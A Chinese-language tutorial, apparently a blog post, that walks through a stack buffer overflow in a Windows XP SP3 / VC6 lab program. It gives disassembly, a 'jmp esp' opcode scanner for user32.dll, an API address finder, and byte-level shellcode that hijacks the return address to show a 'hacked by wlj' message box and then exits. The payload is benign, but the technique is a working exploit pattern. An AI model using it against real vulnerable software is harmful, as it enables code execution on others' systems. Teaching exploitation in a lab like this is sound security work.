环境
- winxp sp3
- vc6.0
原理
可参考博客http://www.atomsec.org/%e5%ae%89%e5%85%a8/%e6%a0%88%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e5%8e%9f%e7%90%86/
下面看一下正常的程序
#include<stdio.h>
#include<string.h>
char name[] = "12345678";
int main()
{
char buf[8];
strcpy(buf,name);
printf("%s\n",buf);
return 0;
}
其汇编代码为
C:\Program Files\Microsoft Visual Studio\MyProjects\2\1.cpp ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------
1: #include<stdio.h>
2: #include<string.h>
3:
4:
5: char name[] = "12345678";
6:
7: int main()
8: {//保存现场
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 48 sub esp,48h;初始化栈
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D B8 lea edi,[ebp-48h]
0040101C B9 12 00 00 00 mov ecx,12h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
9: char buf[8];
10: strcpy(buf,name);
00401028 68 30 4A 42 00 push offset name (00424a30)
0040102D 8D 45 F8 lea eax,[ebp-8]
00401030 50 push eax
00401031 E8 BA 00 00 00 call strcpy (004010f0)
00401036 83 C4 08 add esp,8
11: printf("%s\n",buf);
00401039 8D 4D F8 lea ecx,[ebp-8]
0040103C 51 push ecx
0040103D 68 1C 20 42 00 push offset string "%s\n" (0042201c)
00401042 E8 29 00 00 00 call printf (00401070)
00401047 83 C4 08 add esp,8
12: return 0;
0040104A 33 C0 xor eax,eax
13: }
0040104C 5F pop edi
0040104D 5E pop esi
0040104E 5B pop ebx
0040104F 83 C4 48 add esp,48h
00401052 3B EC cmp ebp,esp
00401054 E8 87 01 00 00 call __chkesp (004011e0)
00401059 8B E5 mov esp,ebp
0040105B 5D pop ebp
0040105C C3 ret
--- No source file -------------------------------
获取jmp esp的地址
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
获取MessageBox和ExitProcess的地址
#include <windows.h>
#include <stdio.h>
typedef void (*MYpROC)(LpTSTR);
int main()
{
HINSTANCE LibHandle;
MYpROC procAdd;
LibHandle = LoadLibrary("user32.dll");
//获取user32.dll的地址
printf("user32 = 0x%x", LibHandle);
//获取的地址
procAdd=(MYpROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%x", procAdd);
LibHandle = LoadLibrary("kernel32.dll");
procAdd = (MYpROC)GetProcAddress(LibHandle,"ExitProcess");
printf("kernel32=0x%x\n ExitProcess=0x%x\n",LibHandle,procAdd);
getchar();
return 0;
}
生成shellcode
#include<windows.h>
//shellcode
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // 8 bytes 填满stack
"\x41\x41\x41\x41" // 覆盖ebp
"\x53\x93\xd2\x77" // 覆盖函数的返回地址 这个地址指向指令 jmp esp
"\x83\xEC\x50" // sub esp,50h
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x6C\x64\x20\x20" // push 2020646Ch
"\x68\x6F\x77\x6F\x72" // push 726F776Fh
"\x68\x68\x65\x6C\x6C" // push 6C6C6568h
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x68\x6A\x20\x20\x20" // push 2020206Ah
"\x68\x79\x20\x77\x6C" // push 6C772079h
"\x68\x65\x64\x20\x62" // push 62206465h
"\x68\x68\x61\x63\x6B" // push 6B636168h
"\x8B\xD4" // mov edx,esp
"\x53" // push ebx MessageBoxA的第4个参数 0
"\x52" // push edx MessageBoxA的第3个参数 hacked by wlj
"\x51" // push ecx MessageBoxA的第2个参数 helloworld
"\x53" // push ebx MessageBoxA的第1个参数 0
"\xB8\xEA\x07\xD5\x77" // mov eax,77D507EAh
"\xFF\xD0" // call eax
"\xB8\x12\xCB\x81\x7C" // mov eax,7C81CB12h
"\x53" // push ebx
"\xFF\xD0"; // call eax
int main()
{
char buf[8];
LoadLibrary("user32.dll");
strcpy(buf,name);
return 0;
}
效果
参考资料
http://www.atomsec.org/%e5%ae%89%e5%85%a8/%e6%a0%88%e6%ba%a2%e5%87%bashellcode%e7%bc%96%e5%86%99/
https://evilcos.me/lab/xssee/